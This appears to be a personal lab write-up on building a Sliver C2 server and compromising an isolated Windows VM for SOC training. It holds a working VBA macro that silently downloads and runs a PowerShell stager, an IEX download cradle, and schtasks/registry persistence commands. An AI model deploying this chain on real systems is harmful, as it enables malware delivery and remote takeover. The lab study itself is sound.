Skip to content

SliverC2-Initial_Test.md

Latest commit

 

History

History
112 lines (76 loc) · 4.64 KB

SliverC2-Initial_Test.md

File metadata and controls

112 lines (76 loc) · 4.64 KB

Sliver C2 Setup and Implant Deployment Writeup - initial exposure

Introduction

As part of my SOC documentation development, I set up a Digital Forensics and Incident Response (DFIR) simulation using a Windows VM and a Kali Linux VM, both hosted locally. My goal was to simulate a realistic cyber attack scenario where a malicious Office document triggers a PowerShell script that downloads a beacon from my Kali VM, saves it to the temporary folder, and establishes Command and Control (C2) traffic. I chose Sliver as my C2 framework for this simulation. This writeup details the steps I took to set up the C2 infrastructure and deploy the implant—a first stepping stone toward further DFIR simulations.

1. Installing Sliver on Kali Linux

Sliver is an open-source C2 framework written in Go, and I chose it for its simplicity and one-liner installation process.

Steps:

  1. Installation:
    Copy, paste, and execute the following command:

    curl https://sliver.sh/install | sudo bash

  2. Launching the Framework:
    Start Sliver by running:

    sliver

    This command opens an interactive shell for configuring listeners, managing implants, and more.

2. Configuring the C2 Listener

To catch connections from the implant, I set up an HTTP listener that mimics common attack techniques.

Steps:

  1. Create the Listener:
    Inside the Sliver client shell, run: 
    http

3. Generating and Hosting the Stager

A stager is a small script that downloads and runs the full implant on the target. For my Windows VM target, I opted for a PowerShell stager.

Steps:

Generate the stager with this command:

(New-Object System.Net.WebClient).DownloadString('http://192.168.1.XX:8000/Stage.ps1') | IEX

4. Creating the Malicious Office Document

To deliver the implant, I crafted a malicious Excel document with a VBA macro that downloads and executes the stager.

Steps:

  1. Open Excel on your Windows VM and access the VBA editor via Developer > Visual Basic.
  2. Add a new module and insert the following VBA code: 
    Private Sub Worksheet_Activate()
    Dim strCommand As String
    strCommand = "$url = 'http://192.168.1.XX/stager.ps1'; $outputPath = '$env:TEMP\stager.ps1'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); & PowerShell -ExecutionPolicy Bypass -File $outputPath"
    Shell "PowerShell -ExecutionPolicy Bypass -Command """ & strCommand & """", vbHide
End Sub
    This macro downloads the stager to the temporary folder and runs it silently when the worksheet is activated.
  3. Save the document as a macro-enabled file named malicious.xlsm.

5. Deploying the Implant and Confirming C2

With the malicious document ready, I deployed it on the Windows VM to test the C2 connection.

Steps:

  1. Move malicious.xlsm to the Windows VM using a shared folder.
  2. Open the file and enable macros when prompted.
  3. The macro downloads and executes stager.ps1, which connects back to the Sliver listener.
  4. In the Sliver client on Kali, a new session appears—confirming that the Windows VM is now a beacon under control.
  5. Interact with the session by running commands such as: 
    sessions -i XXXX
whoami
execute schtasks /create /tn "MyStartupTask" /tr "C:\Users\admin\Downloads\UNLIKELY_DUNGAREES.exe" /sc onstart /f
execute reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyMaliciousApp" /t REG_SZ /d "C:\Users\admin\Downloads\UNLIKELY_DUNGAREES.exe" /f
    These commands confirm connectivity and allow further interaction with the target.

6. Additional Notes

  • Network Setup: Both VMs were maintained on an isolated Host-Only network in VirtualBox to prevent external interference.
  • Defenses: Windows Defender was temporarily disabled on the Windows VM to ensure the implant would run.
  • Monitoring: I used TCP View on the victim VM to analyze the connection.
  • Persistence: Commands were executed from the C2 to create a scheduled task and add a registry Run key for persistence.

Conclusion

This simulation was a success. I set up a Sliver C2 server, hosted a stager, and deployed an implant on a Windows VM using a malicious Excel document. The HTTP listener successfully detected the connection, establishing a working beacon and mimicking real-world C2 traffic. This hands-on exercise provided invaluable practical experience in setting up and detecting advanced threats—a critical skill for SOC training. Moving forward, I plan to explore additional persistence mechanisms and experiment with different payloads with anti-analysis tactics.